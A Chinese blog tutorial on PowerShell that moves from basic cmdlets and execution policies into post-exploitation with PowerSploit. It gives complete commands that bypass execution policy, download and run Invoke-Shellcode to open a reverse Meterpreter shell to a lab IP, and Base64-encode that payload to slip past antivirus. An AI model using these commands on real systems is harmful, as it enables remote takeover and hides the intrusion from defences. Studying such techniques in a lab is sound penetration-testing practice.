0x00 前言

主要参考《内网安全攻防》。

更多PowerShell的内容可参考:https://www.pstips.net/powershell-online-tutorials

0x01 PowerShell基本概念

Windows PowerShell是一种命令行外壳程序和脚本环境,可以看作是命令行提示符cmd.exe的扩展,其使命令行用户和脚本编写者可以利用.NET Framework的强大功能。只要可以在一台计算机上运行代码,就可以将PowerShell脚本文件(.ps1)下载到磁盘中执行(甚至无须将脚本文件写到磁盘中)。

PowerShell需要.NET环境的支持,同时支持.NET对象,其拥有以下特点:

  • 在Windows 7以上版本是默认安装的;
  • 脚本可以在内存中运行,不需要写入磁盘;
  • 几乎不会触发杀毒软件;
  • 可远程执行;
  • 目前很多工具都是局域PowerShell开发的;
  • 使Windows脚本的执行更为容易;
  • cmd.exe的运行通常会被阻止,但PowerShell的运行通常不会被阻止;
  • 可用于管理活动目录;

通过以下两个命令都可以查看PowerShell的版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PS E:\> Get-Host


Name : ConsoleHost
Version : 5.1.18362.628
InstanceId : 33a7b882-5b06-494a-9577-ed0f51a6e8ad
UI : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture : zh-CN
CurrentUICulture : zh-CN
PrivateData : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
DebuggerEnabled : True
IsRunspacePushed : False
Runspace : System.Management.Automation.Runspaces.LocalRunspace



PS E:\> $PSVersionTable.PSVersion

Major Minor Build Revision
----- ----- ----- --------
5 1 18362 628

0x02 PowerShell脚本

PowerShell脚本其实就是一个扩展名为”.ps1”的文件,其中包含一系列PowerShell命令,每个命令显示为独立的一行。

脚本运行

运行PowerShell脚本需要输入绝对路径,比如E:\test.ps1。如果PowerShell脚本刚好在系统目录中,则只需要.\test.ps1执行即可,这和Linux上执行Shell脚本是一样的。

当然,PowerShell是分32位和64位的。在64位的Windows上,同时存在x64和x86两个版本的PowerShell,并且这两个版本的执行策略互不影响,即相互独立。

x64版本的PowerShell的配置文件在%WinDir%\SysWOW64\WindowsPowerShell\v1.0\目录下。

运行32位PowerShell脚本命令如下:

1
powershell.exe -NoP -NonI -W Hidden -Exec Bypass

运行64位PowerShell脚本命令如下:

1
%WinDir%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass

执行策略

为了防止使用者运行恶意脚本,PowerShell提供了一个执行策略。在默认情况下,这个执行策略被设置为“不能运行”。

如果PowerShell脚本不能运行,可以使用如下的cmdlet命令查询当前的执行策略:

1
2
PS E:\> Get-ExecutionPolicy
Restricted

这里看到是Restricted即限制不能执行的意思。我们看下执行策略的几个值:

  • Restricted:脚本不能运行(默认设置);
  • RemoteSigned:在本地创建的脚本可以运行,但不能运行网上下载的脚本(拥有数字证书的除外);
  • AllSigned:仅当脚本由受信任的发布者签名时才能运行;
  • Unrestricted:允许所有脚本运行;

可以使用下面的cmdlet命令设置PowerShell的执行策略:

1
PS E:\> Set-ExecutionPolicy <policy name>

管道符

在PowerShell中也支持管道符|的使用。

管道的作用就是将一个命令的输出作为另一个命令的输入,两个命令之间用|连接。

0x03 PowerShell常用命令与利用技巧

在Windows命令提示符即cmd.exe中输入powershell命令即可切入PowerShell命令行环境。也可以直接在当前目录Shift+右键>在此处打开PowerShell窗口(win10)。其中输入help命令可以显示帮助菜单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
E:\>powershell
Windows PowerShell
版权所有 (C) Microsoft Corporation。保留所有权利。

尝试新的跨平台 PowerShell https://aka.ms/pscore6

PS E:\> help

主题
Windows PowerShell 帮助系统

简短说明
显示有关 Windows PowerShell 的 cmdlet 及概念的帮助。
...

常用命令

在PowerShell中,类似cmd命令的命令称为cmdlet命令。两者的命名规范一致,都采用“动词-名词”的方式,动词部分一般是Add、New、Get、Set、Remove等。命令的别名一般兼容Windows Command和Linux Shell。另外PowerShell命令不区分大小写。

几个常用命令:

几个常用的文件操作命令:

下面以文件操作为例:

  • 新建目录:New-ltem whitecellclub-ltemType Directory;
  • 新建文件:New-ltem light.txt-ltemType File;
  • 删除目录:Remove-ltem whitecellclub;
  • 显示文本内容:Get-Content test.txt;
  • 设置文本内容:Set-Content test.txt-Value ‘’hello,word! ‘’;
  • 追加内容:Add-Content light.txt-Value ‘’i love you ‘’;
  • 清除内容:Clear-Content test.txt

PowerSploit——后渗透测试框架

PowerSploit是一款基于PowerShell的后渗透测试框架,其中包含很多PowerShell脚本,主要用于渗透测试中的信息收集、权限提升、权限维持。

项目地址:https://github.com/PowerShellMafia/PowerSploit

它包含以下几个模块:

  • CodeExecution:在目标机器执行代码;
  • ScriptModification:修改或准备脚本以在受感染的计算机上执行;
  • Persistence:向PowerShell脚本添加持久性功能;
  • AntivirusBypass:使PowerShell绕过防病毒;
  • Exfiltration:窃取数据;
  • Mayhem:使用PowerShell引起一般的混乱;
  • Privesc:帮助提升目标特权的工具;
  • Recon:在渗透测试的侦察阶段提供帮助的工具;

利用技巧

由前面知道,要想运行PowerShell脚本,必须使用管理员权限将执行策略从Restricted改为Unrestricted。

Bypass本地权限并执行

将PowerShell脚本文件test.ps1上传至目标服务器。在命令行环境下,执行如下命令,绕过安全策略,在目标服务器本地执行该脚本:

1
PowerShell.exe -ExecutionPolicy Bypass -File test.ps1

示例:

在实际的内网渗透中,将PowerSploit中Privesc模块的PowerUp.ps1脚本上传到目标服务器中,在目标本地执行脚本文件,命令如下:

1
powershell.exe -exec bypass -Command "& {Import-Module E:\PowerUp.ps1; Invoke-AllChecks}"

这里PowerUp旨在成为依赖错误配置的常见Windows特权升级向量的交换所。运行Invoke-AllChecks将输出所有可识别的漏洞以及任何滥用功能的规范。换句话说,Invoke-AllChecks函数将检查目标主机的攻击向量以进行权限提升

从网站服务器中下载脚本,Bypass本地权限并隐藏执行

下载脚本的命令如下:

1
PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]

几个常用参数说明如下:

-ExecutionPolicy Bypass(-Exec Bypass):绕过执行安全策略,这个参数非常重要。在默认 情况下,PowerShell 的安全策略规定了 PowerShell 不允许运行命令和文件。通过设置这个 参数,可以绕过任意安全保护规则。在渗透测试中,通常每次运行 PowerShell 脚本时都要 使用这个参数;

  • -WindowStyle Hidden(-W Hidden):隐藏窗口;
  • -Nonlnteractive(-NonI):非交互模式。PowerShell不为用户提供交互的提示;
  • -NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件;
  • -noexit:执行后不退出Shell。这在使用键盘记录等脚本时非常重要;
  • -NoLogo:启动不显示版权标志的PowerShell;

这里使用PowerSploit中CodeExecution模块中Invoke-Shellcode.ps1脚本在目标机器上执行Meterpreter Shell。

这里我们需要知道使用什么参数,直接看源码了解如何调用反向HTTPS Meterpreter Shell:

因此,最终构造如下payload:

1
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.10.137 -Lport 666

先在Kali上打开MSF,使用后门模块exploit/multi/handler,并选择payload为windows/meterpreter/reverse_https,接着设置监听地址和端口后启动监听:

然后在Win10中的PowerShell中输入payload,发现会报如下错误:

此时msf是接收到反弹的请求的,但是并不会成功获得反弹的Meterpreter Shell:

那我们换个环境,在Win7上测试一下,经过几番折腾,去掉几个payload的参数就能成功执行反弹shell(注意,在cmd命令行下双引号要改为单引号,不然报错):

1
PowerShell.exe -ExecutionPolicy Bypass -NoProfile IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.10.137 -Lport 666

直接在win7的cmd中输入payload:

此时在Kali的msf中成功获取到Meterpreter Shell:

这里注意,不能直接在win7的PowerShell终端输入该payload,会显示如下错误:

这可能是win7和win10的PowerShell版本不一致导致的某些差异,具体原因还未知,但我们可以使用如下形式在win7的PowerShell终端来执行反弹shell,简单地说就是设置执行策略为无限制,然后直接远程下载恶意PowerShell脚本并执行:

1
Set-ExecutionPolicy Unrestricted; IEX(New-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.10.137 -Lport 666

在msf中同样获取到反弹shell:

使用Base64对PowerShell命令进行编码

使用Base64编码PowerShell命令可以起到混淆和压缩代码的作用,避免一些特殊字符导致脚本被杀毒软件所查杀。这里使用大佬写的一个Python脚本文件ps_encoder.py,其使用Base64编码封装的PowerShell命令包,其目的是混淆和压缩代码。

该脚本编码的对象必须是文本文件,这里需要先将命令保存为文本文件,然后调用该脚本编码即可:

1
2
3
4
5
6
7
root@kali:~/Desktop# echo "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.10.137 -Lport 666 -Force" >raw.txt
root@kali:~/Desktop# cat raw.txt
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.10.137 -Lport 666 -Force
root@kali:~/Desktop# chmod +x ps_encoder.py
root@kali:~/Desktop# python ps_encoder.py -s raw.txt
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvAGMAaABlAGUAdAB6AC8AUABvAHcAZQByAFMAcABsAG8AaQB0AC8AbQBhAHMAdABlAHIALwBDAG8AZABlAEUAeABlAGMAdQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQAtAFMAaABlAGwAbABjAG8AZABlAC4AcABzADEAJwApADsAIABJAG4AdgBvAGsAZQAtAFMAaABlAGwAbABjAG8AZABlACAALQBQAGEAeQBsAG8AYQBkACAAdwBpAG4AZABvAHcAcwAvAG0AZQB0AGUAcgBwAHIAZQB0AGUAcgAvAHIAZQB2AGUAcgBzAGUAXwBoAHQAdABwAHMAIAAtAEwAaABvAHMAdAAgADEAOQAyAC4AMQA2ADgALgAxADAALgAxADMANwAgAC0ATABwAG8AcgB0ACAANgA2ADYAIAAtAEYAbwByAGMAZQAKAA==
root@kali:~/Desktop#

得到Base64编码后的命令内容之后,直接在目标主机的cmd终端上执行如下命令:

1
PowerShell.exe -NoP -NonI -Exec Bypass -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvAGMAaABlAGUAdAB6AC8AUABvAHcAZQByAFMAcABsAG8AaQB0AC8AbQBhAHMAdABlAHIALwBDAG8AZABlAEUAeABlAGMAdQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQAtAFMAaABlAGwAbABjAG8AZABlAC4AcABzADEAJwApADsAIABJAG4AdgBvAGsAZQAtAFMAaABlAGwAbABjAG8AZABlACAALQBQAGEAeQBsAG8AYQBkACAAdwBpAG4AZABvAHcAcwAvAG0AZQB0AGUAcgBwAHIAZQB0AGUAcgAvAHIAZQB2AGUAcgBzAGUAXwBoAHQAdABwAHMAIAAtAEwAaABvAHMAdAAgADEAOQAyAC4AMQA2ADgALgAxADAALgAxADMANwAgAC0ATABwAG8AcgB0ACAANgA2ADYAIAAtAEYAbwByAGMAZQAKAA==

这里为了看下有没有错误就不添加-W Hidden参数设置隐藏窗口了,而且添加了还没成功反弹shell:

然后在Kali的msf中获取到Meterpreter Shell: